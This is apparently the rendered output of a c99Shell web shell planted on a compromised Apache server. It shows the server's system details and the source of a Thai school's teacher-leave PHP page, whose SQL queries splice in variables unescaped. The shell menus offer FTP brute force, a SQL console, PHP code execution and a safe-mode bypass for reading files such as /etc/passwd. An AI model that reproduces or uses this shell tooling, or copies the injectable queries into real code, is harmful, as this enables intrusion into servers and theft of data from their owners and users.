!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/teacher/   drwxr-xr-x
Free 52.64 GB of 127.8 GB (41.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AbsentList.php (10.67 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"../include/Function.php" );

        
/**  Chart  */
        //include ("../includes/charts.php");

    
        /**  Create Database Object  */
        
$dbObj = new DBConn;
        
        
/**  Config Table for This Page  */
        
$myTable1 "personal_tb";
        
$myTable2 "history_absent_tb";
        
        
$Username $valid_user;
    
        
//===  personal_tb
        
$query1 " SELECT *  FROM $myTable1  WHERE Username='$Username' ";
        
$result1 $dbObj->runQuery($query1);
        
$rs1 $dbObj->fetchArray($result1);
            
$Teacher_code $rs1['Teacher_code'];
        
        
//===  salary_repot_tb
        
$query " SELECT *  FROM $myTable2  WHERE Teacher_code='$Teacher_code'  AND  Year='$Year' ";
        
$result $dbObj->execQuery($query);
        
$rs $dbObj->fetchArray($result);

    } 
# else
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<title>ข้อมูลประวัติส่วนตัว - ประวัติข้อมูลการลารายปี</title>
</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<?php
    
include("../templates/incHeader.php");
?>
<table width="1003" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="203" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php include("./_incMainMenu.php");?></td>
    <td width="800" height="440" align="center" valign="top" style="padding:10px 0px 5px 10px"><fieldset>
      <table width="780" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td height="5"></td>
      </tr>
      <tr>
        <td height="30" background="../images/background/bg-head-topic-w780.gif" class="PADDING-LEFT-10"><strong><a href="Menu_History.php">หน้าหลัก</a></strong> <strong>&raquo; <a href="Menu_History.php?Teacher_code=<?=$Teacher_code;?>">ข้อมูลประวัติส่วนตัว</a> &raquo; <a href="AbsentByYear.php?Teacher_code=<?=$Teacher_code;?>">ข้อมูลการลารายปี</a> &raquo; <span class="NOTE">ประวัติข้อมูลการลารายปี</span></strong></td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td height="385" align="center" valign="top">
          <table width="64%" border="0" align="center" cellpadding="0" cellspacing="0">
              <tr>
                <td align="right" style="padding-bottom:5px;"><input type="button" name="button" id="button" value="เพิ่มข้อมูลการลา" style="color:darkgreen; width:100px; cursor:hand" onclick="location.href='Add_His_Absent.php?Teacher_code=<?=$Teacher_code;?>&amp;Year=<?=$Year;?>'" /></td>
              </tr>
            </table>
          <table width="64%" border="0" cellpadding="1" cellspacing="1" bordercolor="#FFFFFF" bgcolor="#FFFFFF" style="background-color:#eeeeee; border:0px solid gray">
<tr onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#EEEEEE'" >
                        <td height="30" colspan="3" align="center" bgcolor="#F8F8F8" class="PATRON11">ประวัติการลา อาจารย์ <span class="TEXT-HEADER11-BLUE"><? echo $rs1['Teacher_name'?> &nbsp;<? echo $rs1['Teacher_lastname'?></span> &nbsp; ประจำปีงบประมาณ <span class="NOTE"><? echo $Year?></span></td>
              </tr>
                      <tr onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#EEEEEE'" >
                        <td width="6%" bgcolor="#FFFFFF" align="center" class="PADDING-TOP-3"><img src="../images/icons/arrow_rd.gif" width="21" height="21" /></td>
                        <td width="65%" bgcolor="#FFFFFF" class="PADDING-LEFT-5 PADDING-TOP-3"><?php
                            $sql2 
" SELECT * From history_absent_tb  WHERE Teacher_code='$Teacher_code'  AND  Absent_code='01'  AND  Year='$Year' ";
                            
$result2 $dbObj->execQuery($sql2);
                            
$num01 $dbObj->_numrows;
                        
?><?php if( $num01 ) { ?><a href="javascript:;" onclick="NewWindow('AbsentDetail.php?Absent_code=01&amp;Teacher_code=<? echo $Teacher_code?>&amp;Year=<? echo $Year?>','AbsentDetail','675','350','yes')">ข้อมูลลากิจ</a><?php } else { ?>ข้อมูลลากิจ<?php ?></td>
                        <td width="29%" bgcolor="#FFFFFF" align="center"><?php if( $num01 ) echo '<font color=red>ยังไม่ข้อมูล</font>'; elseif( $num01 ) echo '<font color=green>'$num01 .'</font> ระเบียน'?></td>
                      </tr>
                      <tr onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#EEEEEE'" >
                        <td bgcolor="#FFFFFF" align="center"><img src="../images/icons/arrow_rd.gif" width="21" height="21" /></td>
                        <td bgcolor="#FFFFFF" class="PADDING-LEFT-5"><?php
                            $sql2 
" SELECT * From history_absent_tb  WHERE Teacher_code='$Teacher_code'  AND  Absent_code='02'  AND  Year='$Year' ";
                            
$result2 $dbObj->execQuery($sql2);
                            
$num02 $dbObj->_numrows;
                        
?><?php if( $num02 ) { ?><a href="javascript:;" onclick="NewWindow('AbsentDetail.php?Absent_code=02&amp;Teacher_code=<? echo $Teacher_code?>&amp;Year=<? echo $Year?>','AbsentDetail','660','370','yes')">ข้อมูลลาป่วย</a><?php } else { ?>ข้อมูลลาป่วย<?php ?></td>
                        <td bgcolor="#FFFFFF" align="center"><?php if( $num02 ) echo '<font color=red>ยังไม่ข้อมูล</font>'; elseif( $num02 ) echo '<font color=green>'$num02 .'</font> ระเบียน'?></td>
                      </tr>
                      <tr onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#EEEEEE'" >
                        <td bgcolor="#FFFFFF" align="center"><img src="../images/icons/arrow_rd.gif" width="21" height="21" /></td>
                        <td bgcolor="#FFFFFF" class="PADDING-LEFT-5"><?php
                            $sql2 
" SELECT * From history_absent_tb  WHERE Teacher_code='$Teacher_code'  AND  Absent_code='03'  AND  Year='$Year' ";
                            
$result2 $dbObj->execQuery($sql2);
                            
$num03 $dbObj->_numrows;
                        
?><?php if( $num03 ) { ?><a href="javascript:;" onclick="NewWindow('AbsentDetail.php?Absent_code=03&amp;Teacher_code=<? echo $Teacher_code?>&amp;Year=<? echo $Year?>','AbsentDetail','675','350','yes')">ข้อมูลลาพักผ่อน</a><?php } else { ?>ข้อมูลลาพักผ่อน<?php ?></td>
                        <td bgcolor="#FFFFFF" align="center"><?php if( $num03 ) echo '<font color=red>ยังไม่ข้อมูล</font>'; elseif( $num03 ) echo '<font color=green>'$num03 .'</font> ระเบียน'?></td>
                      </tr>
                      <tr onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#EEEEEE'" >
                        <td bgcolor="#FFFFFF" align="center"><img src="../images/icons/arrow_rd.gif" width="21" height="21" /></td>
                        <td bgcolor="#FFFFFF" class="PADDING-LEFT-5"><?php
                            $sql2 
" SELECT * From history_absent_tb  WHERE Teacher_code='$Teacher_code'  AND  Absent_code='04'  AND  Year='$Year' ";
                            
$result2 $dbObj->execQuery($sql2);
                            
$num04 $dbObj->_numrows;
                        
?><?php if( $num04 ) { ?><a href="javascript:;" onclick="NewWindow('AbsentDetail.php?Absent_code=04&amp;Teacher_code=<? echo $Teacher_code?>&amp;Year=<? echo $Year?>','AbsentDetail','675','350','yes')">ข้อมูลลาคลอด</a><?php } else { ?>ข้อมูลลาคลอด<?php ?></td>
                        <td bgcolor="#FFFFFF" align="center"><?php if( $num04 ) echo '<font color=red>ยังไม่ข้อมูล</font>'; elseif( $num04 ) echo '<font color=green>'$num04 .'</font> ระเบียน'?></td>
                      </tr>
                      <tr onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#EEEEEE'" >
                        <td bgcolor="#FFFFFF" align="center"><img src="../images/icons/arrow_rd.gif" width="21" height="21" /></td>
                        <td bgcolor="#FFFFFF" class="PADDING-LEFT-5"><?php
                            $sql2 
" SELECT * From history_absent_tb  WHERE Teacher_code='$Teacher_code'  AND  Absent_code='05'  AND  Year='$Year' ";
                            
$result2 $dbObj->execQuery($sql2);
                            
$num05 $dbObj->_numrows;
                        
?><?php if( $num05 ) { ?><a href="javascript:;" onclick="NewWindow('AbsentDetail.php?Absent_code=05&amp;Teacher_code=<? echo $Teacher_code?>&amp;Year=<? echo $Year?>','AbsentDetail','675','350','yes')">ข้อมูลลาอุปสมบท</a><?php } else { ?>ข้อมูลลาอุปสมบท<?php ?></td>
                        <td bgcolor="#FFFFFF" align="center"><?php if( $num05 ) echo '<font color=red>ยังไม่ข้อมูล</font>'; elseif( $num05 ) echo '<font color=green>'$num05 .'</font> ระเบียน'?></td>
                      </tr>
                      <tr onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#EEEEEE'" >
                        <td bgcolor="#FFFFFF" align="center"><img src="../images/icons/arrow_rd.gif" width="21" height="21" /></td>
                        <td bgcolor="#FFFFFF" class="PADDING-LEFT-5"><?php
                            $sql2 
" SELECT * From history_absent_tb  WHERE Teacher_code='$Teacher_code'  AND  Absent_code='06'  AND  Year='$Year' ";
                            
$result2 $dbObj->execQuery($sql2);
                            
$num06 $dbObj->_numrows;
                        
?><?php if( $num06 ) { ?><a href="javascript:;" onclick="NewWindow('AbsentDetail.php?Absent_code=06&amp;Teacher_code=<? echo $Teacher_code;?>&amp;Year=<? echo $Year?>','AbsentDetail','675','350','yes')">ข้อมูลลาปฏิบัติธรรม</a><?php } else { ?>ข้อมูลลาปฏิบัติธรรม<?php ?></td>
                        <td bgcolor="#FFFFFF" align="center"><?php if( $num06 ) echo '<font color=red>ยังไม่ข้อมูล</font>'; elseif( $num06 ) echo '<font color=green>'$num06 .'</font> ระเบียน'?></td>
                      </tr>
            </table>
        </td>
      </tr>
    </table>
   </fieldset></td>
  </tr>
</table>
<?php include("../templates/incFooter.php"); ?>
</body>
</html>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result);
    
$dbObj->freeresult($result1);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0075 ]--